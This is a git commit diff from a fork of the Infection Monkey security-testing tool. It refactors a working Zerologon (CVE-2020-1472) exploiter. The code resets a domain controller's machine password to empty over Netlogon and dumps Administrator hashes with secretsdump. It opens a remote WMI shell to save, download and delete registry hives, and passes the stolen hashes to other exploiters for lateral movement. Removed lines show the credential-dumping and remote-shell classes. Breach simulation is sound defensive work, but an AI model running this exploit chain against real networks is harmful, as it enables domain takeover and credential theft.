forked from p15670423/monkey
CR + testing changes
This commit is contained in:
parent
e357b3fbe6
commit
d7086f04aa
|
@ -35,13 +35,10 @@ class HostExploiter(Plugin):
|
|||
# Usual values are 'vulnerability' or 'brute_force'
|
||||
EXPLOIT_TYPE = ExploitType.VULNERABILITY
|
||||
|
||||
# Specifies whether a machine, on which the exploit was successful, should be added to the set of exploited
|
||||
# machines. This would then prevent any other exploits from being attempted on it.
|
||||
# Sample use case - Zerologon exploiter:
|
||||
# Exploited machine gives us useful credentials which can be used, but machine isn't fully compromised by Zerologon
|
||||
# on its own. Some other exploiter using PTH needs to exploit it with the extracted credentials so that the monkey
|
||||
# can propagate to it.
|
||||
SHOULD_ADD_MACHINE_TO_EXPLOITED_SET = True
|
||||
# Determines if successful exploitation should stop further exploit attempts on that machine.
|
||||
# Generally, should be True for RCE type exploiters and False if we don't expect the exploiter to run the monkey agent.
|
||||
# Example: Zerologon steals credentials
|
||||
RUNS_AGENT_ON_SUCCESS = True
|
||||
|
||||
@property
|
||||
@abstractmethod
|
||||
|
@ -109,4 +106,5 @@ class HostExploiter(Plugin):
|
|||
:param cmd: String of executed command. e.g. 'echo Example'
|
||||
"""
|
||||
powershell = True if "powershell" in cmd.lower() else False
|
||||
self.exploit_info['executed_cmds'].append({'cmd': cmd, 'powershell': powershell})
|
||||
self.exploit_info['executed_cmds'].append(
|
||||
{'cmd': cmd, 'powershell': powershell})
|
||||
|
|
|
@ -3,105 +3,54 @@ Zerologon, CVE-2020-1472
|
|||
Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and https://github.com/risksense/zerologon/.
|
||||
"""
|
||||
|
||||
import cmd
|
||||
import io
|
||||
import logging
|
||||
import ntpath
|
||||
import os
|
||||
import sys
|
||||
import time
|
||||
import traceback
|
||||
from binascii import unhexlify
|
||||
from typing import List, Optional
|
||||
|
||||
import impacket
|
||||
from impacket.dcerpc.v5 import epm, nrpc, transport
|
||||
from impacket.dcerpc.v5.dcom import wmi
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.examples.secretsdump import (LocalOperations, LSASecrets,
|
||||
NTDSHashes, RemoteOperations,
|
||||
SAMHashes)
|
||||
from impacket.smbconnection import SMBConnection
|
||||
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||
from infection_monkey.exploit.zerologon_utils.dump_secrets import DumpSecrets
|
||||
from infection_monkey.exploit.zerologon_utils.options import \
|
||||
OptionsForSecretsdump
|
||||
from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec
|
||||
from infection_monkey.network.zerologon_fingerprint import ZerologonFinger
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
_orig_stdout = None
|
||||
_new_stdout = None
|
||||
|
||||
|
||||
def _set_stdout_to_in_memory_text_stream():
|
||||
# set stdout to in-memory text stream, to capture info that would otherwise be printed
|
||||
global _orig_stdout, _new_stdout
|
||||
_orig_stdout = sys.stdout
|
||||
_new_stdout = io.StringIO()
|
||||
sys.stdout = _new_stdout
|
||||
|
||||
|
||||
def _unset_stdout_and_return_captured():
|
||||
# set stdout to original and return captured output
|
||||
global _orig_stdout, _new_stdout
|
||||
sys.stdout = _orig_stdout
|
||||
_new_stdout.seek(0)
|
||||
return _new_stdout.read()
|
||||
|
||||
|
||||
class ZerologonExploiter(HostExploiter):
|
||||
_TARGET_OS_TYPE = ['windows']
|
||||
_EXPLOITED_SERVICE = 'Netlogon'
|
||||
EXPLOIT_TYPE = ExploitType.VULNERABILITY
|
||||
SHOULD_ADD_MACHINE_TO_EXPLOITED_SET = False
|
||||
RUNS_AGENT_ON_SUCCESS = False
|
||||
MAX_ATTEMPTS = 2000
|
||||
OPTIONS_FOR_SECRETSDUMP =\
|
||||
{
|
||||
'aes_key': None,
|
||||
'bootkey': None,
|
||||
'can_process_SAM_LSA': True,
|
||||
'dc_ip': None,
|
||||
'debug': False,
|
||||
'exec_method': 'smbexec',
|
||||
'hashes': None,
|
||||
'history': False,
|
||||
'is_remote': True,
|
||||
'just_dc': True, # becomes False in a copy in get_original_pwd_nthash()
|
||||
'just_dc_ntlm': False,
|
||||
'just_dc_user': None,
|
||||
'k': False,
|
||||
'keytab': None,
|
||||
'no_lmhash': True,
|
||||
'no_pass': True,
|
||||
'ntds': None,
|
||||
'outputfile': None,
|
||||
'pwd_last_set': False,
|
||||
'resumefile': None,
|
||||
'sam': None,
|
||||
'security': None,
|
||||
'system': None, # sam, security, and system are assigned in a copy in get_original_pwd_nthash()
|
||||
'target': '',
|
||||
'target_ip': '', # target and target_ip are assigned in a copy in get_admin_pwd_hashes()
|
||||
'ts': False,
|
||||
'use_vss': False,
|
||||
'user_status': False
|
||||
}
|
||||
ERROR_CODE_ACCESS_DENIED = 0xc0000022
|
||||
|
||||
def __init__(self, host):
|
||||
def __init__(self, host: object):
|
||||
super().__init__(host)
|
||||
self.vulnerable_port = None
|
||||
self.zerologon_finger = ZerologonFinger()
|
||||
self.exploit_info['credentials'] = {}
|
||||
|
||||
def _exploit_host(self):
|
||||
def _exploit_host(self) -> Optional[bool]:
|
||||
self.dc_ip, self.dc_name, self.dc_handle = self.zerologon_finger._get_dc_details(self.host)
|
||||
|
||||
if self.is_exploitable():
|
||||
LOG.info("Target vulnerable, changing account password to empty string.")
|
||||
|
||||
# Connect to the DC's Netlogon service.
|
||||
rpc_con = self.connect_to_dc()
|
||||
try:
|
||||
rpc_con = self.connect_to_dc()
|
||||
except Exception as e:
|
||||
LOG.info(f"Exception occurred while connecting to DC: {str(e)}")
|
||||
return
|
||||
|
||||
# Start exploiting attempts.
|
||||
# Max attempts = 2000. Expected average number of attempts needed: 256.
|
||||
|
@ -113,7 +62,7 @@ class ZerologonExploiter(HostExploiter):
|
|||
except nrpc.DCERPCSessionError as e:
|
||||
# Failure should be due to a STATUS_ACCESS_DENIED error.
|
||||
# Otherwise, the attack is probably not working.
|
||||
if e.get_error_code() != 0xc0000022:
|
||||
if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED:
|
||||
LOG.info(f"Unexpected error code from DC: {e.get_error_code()}")
|
||||
except BaseException as e:
|
||||
LOG.info(f"Unexpected error: {e}")
|
||||
|
@ -121,18 +70,15 @@ class ZerologonExploiter(HostExploiter):
|
|||
if result is not None:
|
||||
break
|
||||
|
||||
self.report_login_attempt(result=False,
|
||||
user=self.dc_name)
|
||||
|
||||
if result['ErrorCode'] == 0:
|
||||
self.report_login_attempt(result=True,
|
||||
user=self.dc_name)
|
||||
self.report_login_attempt(result=True, user=self.dc_name)
|
||||
_exploited = True
|
||||
LOG.info("Exploit complete!")
|
||||
else:
|
||||
self.report_login_attempt(result=False, user=self.dc_name)
|
||||
_exploited = False
|
||||
LOG.info(f"Non-zero return code: {result['ErrorCode']}. Something went wrong.")
|
||||
|
||||
_exploited = True
|
||||
|
||||
else:
|
||||
LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.")
|
||||
_exploited = False
|
||||
|
@ -148,10 +94,10 @@ class ZerologonExploiter(HostExploiter):
|
|||
|
||||
return _exploited
|
||||
|
||||
def is_exploitable(self):
|
||||
def is_exploitable(self) -> bool:
|
||||
return self.zerologon_finger.get_host_fingerprint(self.host)
|
||||
|
||||
def connect_to_dc(self):
|
||||
def connect_to_dc(self) -> object:
|
||||
binding = epm.hept_map(self.dc_ip, nrpc.MSRPC_UUID_NRPC,
|
||||
protocol='ncacn_ip_tcp')
|
||||
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
|
||||
|
@ -159,20 +105,26 @@ class ZerologonExploiter(HostExploiter):
|
|||
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
|
||||
return rpc_con
|
||||
|
||||
def attempt_exploit(self, rpc_con):
|
||||
def attempt_exploit(self, rpc_con: object) -> object:
|
||||
request = nrpc.NetrServerPasswordSet2()
|
||||
ZerologonExploiter._set_up_request(request, self.dc_name)
|
||||
request['PrimaryName'] = self.dc_handle + '\x00'
|
||||
request['AccountName'] = self.dc_name + '$\x00'
|
||||
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
|
||||
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
|
||||
authenticator['Credential'] = b'\x00' * 8
|
||||
authenticator['Timestamp'] = 0
|
||||
request['Authenticator'] = authenticator
|
||||
request['ComputerName'] = self.dc_name + '\x00'
|
||||
request['ClearNewPassword'] = b'\x00' * 516
|
||||
|
||||
return rpc_con.request(request)
|
||||
|
||||
def restore_password(self):
|
||||
@staticmethod
|
||||
def _set_up_request(request: object, dc_name: str) -> None:
|
||||
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
|
||||
authenticator['Credential'] = b'\x00' * 8
|
||||
authenticator['Timestamp'] = b'\x00' * 4
|
||||
|
||||
request['AccountName'] = dc_name + '$\x00'
|
||||
request['ComputerName'] = dc_name + '\x00'
|
||||
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
|
||||
request['Authenticator'] = authenticator
|
||||
|
||||
def restore_password(self) -> Optional[bool]:
|
||||
LOG.info("Restoring original password...")
|
||||
|
||||
LOG.debug("DCSync; getting admin password's hashes.")
|
||||
|
@ -187,6 +139,8 @@ class ZerologonExploiter(HostExploiter):
|
|||
if not original_pwd_nthash:
|
||||
raise Exception("Couldn't extract original DC password's nthash.")
|
||||
|
||||
self.remove_locally_saved_HKLM_keys()
|
||||
|
||||
# Keep authenticating until successful.
|
||||
LOG.debug("Attempting password restoration.")
|
||||
for _ in range(0, self.MAX_ATTEMPTS):
|
||||
|
@ -203,24 +157,42 @@ class ZerologonExploiter(HostExploiter):
|
|||
except Exception as e:
|
||||
LOG.error(e)
|
||||
|
||||
def get_admin_pwd_hashes(self):
|
||||
options = self.OPTIONS_FOR_SECRETSDUMP.copy()
|
||||
options['target'] = '$@'.join([self.dc_name, self.dc_ip]) # format for DC account - "NetBIOSName$@0.0.0.0"
|
||||
options['target_ip'] = self.dc_ip
|
||||
options['dc_ip'] = self.dc_ip
|
||||
def get_admin_pwd_hashes(self) -> str:
|
||||
options = OptionsForSecretsdump(
|
||||
target=f"{self.dc_name}$@{self.dc_ip}", # format for DC account - "NetBIOSName$@0.0.0.0"
|
||||
target_ip=self.dc_ip,
|
||||
dc_ip=self.dc_ip
|
||||
)
|
||||
|
||||
dumped_secrets = self.get_dumped_secrets(remote_name=self.dc_ip,
|
||||
username=f"{self.dc_name}$",
|
||||
options=options)
|
||||
|
||||
dumped_secrets = self.get_dumped_secrets(options=options,
|
||||
remote_name=self.dc_ip,
|
||||
username=f"{self.dc_name}$")
|
||||
user = 'Administrator'
|
||||
for secret in dumped_secrets:
|
||||
if user in secret:
|
||||
hashes = secret.split(':')[2:4] # format of secret - "domain\uid:rid:lmhash:nthash:::"
|
||||
self.add_extracted_creds_to_exploit_info(user, hashes[0], hashes[1])
|
||||
self.add_extracted_creds_to_monkey_config(user, hashes[0], hashes[1])
|
||||
return ':'.join(hashes) # format - "lmhash:nthash"
|
||||
hashes = ZerologonExploiter._extract_user_hashes_from_secrets(user=user, secrets=dumped_secrets)
|
||||
self.store_extracted_hashes_for_exploitation(user=user, hashes=hashes)
|
||||
return ':'.join(hashes) # format - "lmhash:nthash"
|
||||
|
||||
def add_extracted_creds_to_exploit_info(self, user, lmhash, nthash):
|
||||
def get_dumped_secrets(self, remote_name: str = '', username: str = '', options: Optional[object] = None) -> List[str]:
|
||||
dumper = DumpSecrets(remote_name=remote_name,
|
||||
username=username,
|
||||
options=options)
|
||||
dumped_secrets = dumper.dump().split('\n')
|
||||
return dumped_secrets
|
||||
|
||||
@staticmethod
|
||||
def _extract_user_hashes_from_secrets(user: str, secrets: List[str]) -> List[str]:
|
||||
for secret in secrets:
|
||||
if user in secret:
|
||||
# format of secret - "domain\uid:rid:lmhash:nthash:::"
|
||||
hashes = secret.split(':')[2:4]
|
||||
return hashes # format - [lmhash, nthash]
|
||||
|
||||
def store_extracted_hashes_for_exploitation(self, user: str, hashes: List[str]) -> None:
|
||||
self.add_extracted_creds_to_exploit_info(user, hashes[0], hashes[1])
|
||||
self.add_extracted_creds_to_monkey_config(user, hashes[0], hashes[1])
|
||||
|
||||
def add_extracted_creds_to_exploit_info(self, user: str, lmhash: str, nthash: str) -> None:
|
||||
self.exploit_info['credentials'].update({
|
||||
user: {
|
||||
'username': user,
|
||||
|
@ -230,7 +202,8 @@ class ZerologonExploiter(HostExploiter):
|
|||
}
|
||||
})
|
||||
|
||||
def add_extracted_creds_to_monkey_config(self, user, lmhash, nthash): # so other exploiters can use these creds
|
||||
# so other exploiters can use these creds
|
||||
def add_extracted_creds_to_monkey_config(self, user: str, lmhash: str, nthash: str) -> None:
|
||||
if user not in self._config.exploit_user_list:
|
||||
self._config.exploit_user_list.append(user)
|
||||
|
||||
|
@ -240,29 +213,34 @@ class ZerologonExploiter(HostExploiter):
|
|||
if nthash not in self._config.exploit_ntlm_hash_list:
|
||||
self._config.exploit_ntlm_hash_list.append(nthash)
|
||||
|
||||
def get_original_pwd_nthash(self, admin_pwd_hashes):
|
||||
def get_original_pwd_nthash(self, admin_pwd_hashes: str) -> str:
|
||||
if not self.save_HKLM_keys_locally(admin_pwd_hashes):
|
||||
return
|
||||
|
||||
options = self.OPTIONS_FOR_SECRETSDUMP.copy()
|
||||
for name in ['system', 'sam', 'security']:
|
||||
options[name] = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save')
|
||||
options['dc_ip'] = self.dc_ip
|
||||
options['just_dc'] = False
|
||||
options = OptionsForSecretsdump(
|
||||
dc_ip=self.dc_ip,
|
||||
just_dc=False,
|
||||
system=os.path.join(os.path.expanduser('~'), 'monkey-system.save'),
|
||||
sam=os.path.join(os.path.expanduser('~'), 'monkey-sam.save'),
|
||||
security=os.path.join(os.path.expanduser('~'), 'monkey-security.save')
|
||||
)
|
||||
|
||||
dumped_secrets = self.get_dumped_secrets(options=options,
|
||||
remote_name='LOCAL')
|
||||
dumped_secrets = self.get_dumped_secrets(remote_name='LOCAL',
|
||||
options=options)
|
||||
for secret in dumped_secrets:
|
||||
if '$MACHINE.ACC: ' in secret: # format of secret - "$MACHINE.ACC: lmhash:nthash"
|
||||
nthash = secret.split(':')[2]
|
||||
return nthash
|
||||
|
||||
def get_dumped_secrets(self, options, remote_name='', username='', password='', domain=''):
|
||||
dumper = DumpSecrets(remote_name, username, password, domain, options)
|
||||
dumped_secrets = dumper.dump().split('\n')
|
||||
return dumped_secrets
|
||||
def remove_locally_saved_HKLM_keys(self) -> None:
|
||||
for name in ['system', 'sam', 'security']:
|
||||
path = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save')
|
||||
try:
|
||||
os.remove(path)
|
||||
except Exception as e:
|
||||
LOG.info(f"Exception occurred while removing file {path} from system: {str(e)}")
|
||||
|
||||
def save_HKLM_keys_locally(self, admin_pwd_hashes):
|
||||
def save_HKLM_keys_locally(self, admin_pwd_hashes: str) -> bool:
|
||||
LOG.debug("Starting remote shell on victim.")
|
||||
|
||||
wmiexec = Wmiexec(ip=self.dc_ip,
|
||||
|
@ -272,7 +250,9 @@ class ZerologonExploiter(HostExploiter):
|
|||
|
||||
remote_shell = wmiexec.get_remote_shell()
|
||||
if remote_shell:
|
||||
_set_stdout_to_in_memory_text_stream()
|
||||
_orig_stdout = sys.stdout
|
||||
_new_stdout = io.StringIO()
|
||||
sys.stdout = _new_stdout
|
||||
|
||||
try:
|
||||
# Save HKLM keys on victim.
|
||||
|
@ -286,7 +266,8 @@ class ZerologonExploiter(HostExploiter):
|
|||
remote_shell.onecmd('get security.save')
|
||||
|
||||
# Delete saved keys on victim.
|
||||
remote_shell.onecmd('del /f system.save sam.save security.save')
|
||||
remote_shell.onecmd(
|
||||
'del /f system.save sam.save security.save')
|
||||
|
||||
wmiexec.close()
|
||||
|
||||
|
@ -296,15 +277,24 @@ class ZerologonExploiter(HostExploiter):
|
|||
LOG.info(f"Exception occured: {str(e)}")
|
||||
|
||||
finally:
|
||||
info = _unset_stdout_and_return_captured()
|
||||
sys.stdout = _orig_stdout
|
||||
_new_stdout.seek(0)
|
||||
info = _new_stdout.read()
|
||||
|
||||
LOG.debug(f"Getting victim HKLM keys via remote shell: {info}")
|
||||
|
||||
else:
|
||||
raise Exception("Could not start remote shell on DC.")
|
||||
|
||||
def attempt_restoration(self, original_pwd_nthash):
|
||||
return False
|
||||
|
||||
def attempt_restoration(self, original_pwd_nthash: str) -> Optional[object]:
|
||||
# Connect to the DC's Netlogon service.
|
||||
rpc_con = self.connect_to_dc()
|
||||
try:
|
||||
rpc_con = self.connect_to_dc()
|
||||
except Exception as e:
|
||||
LOG.info(f"Exception occurred while connecting to DC: {str(e)}")
|
||||
return
|
||||
|
||||
plaintext = b'\x00'*8
|
||||
ciphertext = b'\x00'*8
|
||||
|
@ -322,28 +312,22 @@ class ZerologonExploiter(HostExploiter):
|
|||
self.dc_name + '\x00', ciphertext, flags
|
||||
)
|
||||
|
||||
# It worked!
|
||||
assert server_auth['ErrorCode'] == 0
|
||||
# server_auth.dump()
|
||||
session_key = nrpc.ComputeSessionKeyAES(None, b'\x00'*8, server_challenge,
|
||||
unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0"))
|
||||
|
||||
try:
|
||||
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
|
||||
authenticator['Credential'] = ciphertext
|
||||
authenticator['Timestamp'] = b"\x00" * 4
|
||||
|
||||
nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse
|
||||
nrpc.OPNUMS[6] = (NetrServerPasswordSet, nrpc.NetrServerPasswordSetResponse)
|
||||
nrpc.OPNUMS[6] = (NetrServerPasswordSet,
|
||||
nrpc.NetrServerPasswordSetResponse)
|
||||
|
||||
request = NetrServerPasswordSet()
|
||||
ZerologonExploiter._set_up_request(request, self.dc_name)
|
||||
request['PrimaryName'] = NULL
|
||||
request['AccountName'] = self.dc_name + '$\x00'
|
||||
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
|
||||
request['ComputerName'] = self.dc_name + '\x00'
|
||||
request["Authenticator"] = authenticator
|
||||
pwd_data = impacket.crypto.SamEncryptNTLMHash(unhexlify(original_pwd_nthash), session_key)
|
||||
pwd_data = impacket.crypto.SamEncryptNTLMHash(
|
||||
unhexlify(original_pwd_nthash), session_key)
|
||||
request["UasNewPassword"] = pwd_data
|
||||
|
||||
rpc_con.request(request)
|
||||
|
||||
except Exception as e:
|
||||
|
@ -353,7 +337,7 @@ class ZerologonExploiter(HostExploiter):
|
|||
|
||||
except nrpc.DCERPCSessionError as e:
|
||||
# Failure should be due to a STATUS_ACCESS_DENIED error; otherwise, the attack is probably not working.
|
||||
if e.get_error_code() == 0xc0000022:
|
||||
if e.get_error_code() == self.ERROR_CODE_ACCESS_DENIED:
|
||||
return None
|
||||
else:
|
||||
LOG.info(f"Unexpected error code from DC: {e.get_error_code()}")
|
||||
|
@ -379,365 +363,3 @@ class NetrServerPasswordSetResponse(nrpc.NDRCALL):
|
|||
('ReturnAuthenticator', nrpc.NETLOGON_AUTHENTICATOR),
|
||||
('ErrorCode', nrpc.NTSTATUS),
|
||||
)
|
||||
|
||||
|
||||
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py
|
||||
# Used to get Administrator and original DC passwords' hashes
|
||||
class DumpSecrets:
|
||||
def __init__(self, remote_name, username='', password='', domain='', options=None):
|
||||
self.__use_VSS_method = options['use_vss']
|
||||
self.__remote_name = remote_name
|
||||
self.__remote_host = options['target_ip']
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__domain = domain
|
||||
self.__lmhash = ''
|
||||
self.__nthash = ''
|
||||
self.__aes_key = options['aes_key']
|
||||
self.__smb_connection = None
|
||||
self.__remote_ops = None
|
||||
self.__SAM_hashes = None
|
||||
self.__NTDS_hashes = None
|
||||
self.__LSA_secrets = None
|
||||
self.__system_hive = options['system']
|
||||
self.__bootkey = options['bootkey']
|
||||
self.__security_hive = options['security']
|
||||
self.__sam_hive = options['sam']
|
||||
self.__ntds_file = options['ntds']
|
||||
self.__history = options['history']
|
||||
self.__no_lmhash = options['no_lmhash']
|
||||
self.__is_remote = options['is_remote']
|
||||
self.__output_file_name = options['outputfile']
|
||||
self.__do_kerberos = options['k']
|
||||
self.__just_DC = options['just_dc']
|
||||
self.__just_DC_NTLM = options['just_dc_ntlm']
|
||||
self.__just_user = options['just_dc_user']
|
||||
self.__pwd_last_set = options['pwd_last_set']
|
||||
self.__print_user_status = options['user_status']
|
||||
self.__resume_file_name = options['resumefile']
|
||||
self.__can_process_SAM_LSA = options['can_process_SAM_LSA']
|
||||
self.__kdc_host = options['dc_ip']
|
||||
self.__options = options
|
||||
|
||||
if options['hashes'] is not None:
|
||||
self.__lmhash, self.__nthash = options['hashes'].split(':')
|
||||
|
||||
def connect(self):
|
||||
self.__smb_connection = SMBConnection(self.__remote_name, self.__remote_host)
|
||||
self.__smb_connection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
||||
|
||||
def dump(self):
|
||||
_set_stdout_to_in_memory_text_stream()
|
||||
dumped_secrets = ''
|
||||
|
||||
try:
|
||||
if self.__remote_name.upper() == 'LOCAL' and self.__username == '':
|
||||
self.__is_remote = False
|
||||
self.__use_VSS_method = True
|
||||
if self.__system_hive:
|
||||
local_operations = LocalOperations(self.__system_hive)
|
||||
bootkey = local_operations.getBootKey()
|
||||
if self.__ntds_file is not None:
|
||||
# Let's grab target's configuration about LM Hashes storage.
|
||||
self.__no_lmhash = local_operations.checkNoLMHashPolicy()
|
||||
else:
|
||||
import binascii
|
||||
bootkey = binascii.unhexlify(self.__bootkey)
|
||||
|
||||
else:
|
||||
self.__is_remote = True
|
||||
bootkey = None
|
||||
try:
|
||||
try:
|
||||
self.connect()
|
||||
except Exception as e:
|
||||
if os.getenv('KRB5CCNAME') is not None and self.__do_kerberos is True:
|
||||
# SMBConnection failed. That might be because there was no way to log into the
|
||||
# target system. We just have a last resort. Hope we have tickets cached and that they
|
||||
# will work
|
||||
LOG.debug('SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e))
|
||||
pass
|
||||
else:
|
||||
raise
|
||||
|
||||
self.__remote_ops = RemoteOperations(self.__smb_connection, self.__do_kerberos, self.__kdc_host)
|
||||
self.__remote_ops.setExecMethod(self.__options['exec_method'])
|
||||
if self.__just_DC is False and self.__just_DC_NTLM is False or self.__use_VSS_method is True:
|
||||
self.__remote_ops.enableRegistry()
|
||||
bootkey = self.__remote_ops.getBootKey()
|
||||
# Let's check whether target system stores LM Hashes.
|
||||
self.__no_lmhash = self.__remote_ops.checkNoLMHashPolicy()
|
||||
except Exception as e:
|
||||
self.__can_process_SAM_LSA = False
|
||||
if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \
|
||||
and self.__do_kerberos is True:
|
||||
# Giving some hints here when SPN target name validation is set to something different to Off.
|
||||
# This will prevent establishing SMB connections using TGS for SPNs different to cifs/.
|
||||
LOG.error('Policy SPN target name validation might be restricting full DRSUAPI dump.' +
|
||||
'Try -just-dc-user')
|
||||
else:
|
||||
LOG.error('RemoteOperations failed: %s' % str(e))
|
||||
|
||||
# If RemoteOperations succeeded, then we can extract SAM and LSA.
|
||||
if self.__just_DC is False and self.__just_DC_NTLM is False and self.__can_process_SAM_LSA:
|
||||
try:
|
||||
if self.__is_remote is True:
|
||||
SAM_file_name = self.__remote_ops.saveSAM()
|
||||
else:
|
||||
SAM_file_name = self.__sam_hive
|
||||
|
||||
self.__SAM_hashes = SAMHashes(SAM_file_name, bootkey, isRemote=self.__is_remote)
|
||||
self.__SAM_hashes.dump()
|
||||
if self.__output_file_name is not None:
|
||||
self.__SAM_hashes.export(self.__output_file_name)
|
||||
except Exception as e:
|
||||
LOG.error('SAM hashes extraction failed: %s' % str(e))
|
||||
|
||||
try:
|
||||
if self.__is_remote is True:
|
||||
SECURITY_file_name = self.__remote_ops.saveSECURITY()
|
||||
else:
|
||||
SECURITY_file_name = self.__security_hive
|
||||
|
||||
self.__LSA_secrets = LSASecrets(SECURITY_file_name, bootkey, self.__remote_ops,
|
||||
isRemote=self.__is_remote, history=self.__history)
|
||||
self.__LSA_secrets.dumpCachedHashes()
|
||||
if self.__output_file_name is not None:
|
||||
self.__LSA_secrets.exportCached(self.__output_file_name)
|
||||
self.__LSA_secrets.dumpSecrets()
|
||||
if self.__output_file_name is not None:
|
||||
self.__LSA_secrets.exportSecrets(self.__output_file_name)
|
||||
except Exception as e:
|
||||
LOG.debug(traceback.print_exc())
|
||||
LOG.error('LSA hashes extraction failed: %s' % str(e))
|
||||
|
||||
# NTDS Extraction we can try regardless of RemoteOperations failing. It might still work.
|
||||
if self.__is_remote is True:
|
||||
if self.__use_VSS_method and self.__remote_ops is not None:
|
||||
NTDS_file_name = self.__remote_ops.saveNTDS()
|
||||
else:
|
||||
NTDS_file_name = None
|
||||
else:
|
||||
NTDS_file_name = self.__ntds_file
|
||||
|
||||
self.__NTDS_hashes = NTDSHashes(NTDS_file_name, bootkey, isRemote=self.__is_remote, history=self.__history,
|
||||
noLMHash=self.__no_lmhash, remoteOps=self.__remote_ops,
|
||||
useVSSMethod=self.__use_VSS_method, justNTLM=self.__just_DC_NTLM,
|
||||
pwdLastSet=self.__pwd_last_set, resumeSession=self.__resume_file_name,
|
||||
outputFileName=self.__output_file_name, justUser=self.__just_user,
|
||||
printUserStatus=self.__print_user_status)
|
||||
try:
|
||||
self.__NTDS_hashes.dump()
|
||||
except Exception as e:
|
||||
LOG.debug(traceback.print_exc())
|
||||
if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
|
||||
# We don't store the resume file if this error happened, since this error is related to lack
|
||||
# of enough privileges to access DRSUAPI.
|
||||
resume_file = self.__NTDS_hashes.getResumeSessionFile()
|
||||
if resume_file is not None:
|
||||
os.unlink(resume_file)
|
||||
LOG.error(e)
|
||||
if self.__just_user and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >= 0:
|
||||
LOG.error("You just got that error because there might be some duplicates of the same name. "
|
||||
"Try specifying the domain name for the user as well. It is important to specify it "
|
||||
"in the form of NetBIOS domain name/user (e.g. contoso/Administratror).")
|
||||
elif self.__use_VSS_method is False:
|
||||
LOG.error('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
|
||||
self.cleanup()
|
||||
except (Exception, KeyboardInterrupt) as e:
|
||||
LOG.debug(traceback.print_exc())
|
||||
LOG.error(e)
|
||||
if self.__NTDS_hashes is not None:
|
||||
if isinstance(e, KeyboardInterrupt):
|
||||
resume_file = self.__NTDS_hashes.getResumeSessionFile()
|
||||
if resume_file is not None:
|
||||
os.unlink(resume_file)
|
||||
try:
|
||||
self.cleanup()
|
||||
except Exception:
|
||||
pass
|
||||
finally:
|
||||
dumped_secrets = _unset_stdout_and_return_captured() # includes hashes and kerberos keys
|
||||
return dumped_secrets
|
||||
|
||||
def cleanup(self):
|
||||
LOG.debug('Cleaning up...')
|
||||
if self.__remote_ops:
|
||||
self.__remote_ops.finish()
|
||||
if self.__SAM_hashes:
|
||||
self.__SAM_hashes.finish()
|
||||
if self.__LSA_secrets:
|
||||
self.__LSA_secrets.finish()
|
||||
if self.__NTDS_hashes:
|
||||
self.__NTDS_hashes.finish()
|
||||
|
||||
|
||||
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
|
||||
# Used to get HKLM keys for restoring original DC password
|
||||
class Wmiexec:
|
||||
OUTPUT_FILENAME = '__' + str(time.time())
|
||||
|
||||
def __init__(self, ip, username, hashes, password='', domain='', share='ADMIN$'):
|
||||
self.__ip = ip
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__domain = domain
|
||||
self.__lmhash, self.__nthash = hashes.split(':')
|
||||
self.__share = share
|
||||
self.shell = None
|
||||
|
||||
def connect(self):
|
||||
self.smbConnection = SMBConnection(self.__ip, self.__ip)
|
||||
self.smbConnection.login(user=self.__username,
|
||||
password=self.__password,
|
||||
domain=self.__domain,
|
||||
lmhash=self.__lmhash,
|
||||
nthash=self.__nthash)
|
||||
|
||||
self.dcom = DCOMConnection(target=self.__ip,
|
||||
username=self.__username,
|
||||
password=self.__password,
|
||||
domain=self.__domain,
|
||||
lmhash=self.__lmhash,
|
||||
nthash=self.__nthash,
|
||||
oxidResolver=True)
|
||||
|
||||
try:
|
||||
iInterface = self.dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
|
||||
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
|
||||
self.iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
|
||||
iWbemLevel1Login.RemRelease()
|
||||
|
||||
except (Exception, KeyboardInterrupt) as e:
|
||||
LOG.error(str(e))
|
||||
self.smbConnection.logoff()
|
||||
self.dcom.disconnect()
|
||||
|
||||
def get_remote_shell(self):
|
||||
self.connect()
|
||||
win32Process, _ = self.iWbemServices.GetObject('Win32_Process')
|
||||
self.shell = RemoteShell(self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME)
|
||||
return self.shell
|
||||
|
||||
def close(self):
|
||||
self.smbConnection.close()
|
||||
self.smbConnection = None
|
||||
self.dcom.disconnect()
|
||||
self.dcom = None
|
||||
|
||||
|
||||
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
|
||||
# Used to start remote shell on victim
|
||||
class RemoteShell(cmd.Cmd):
|
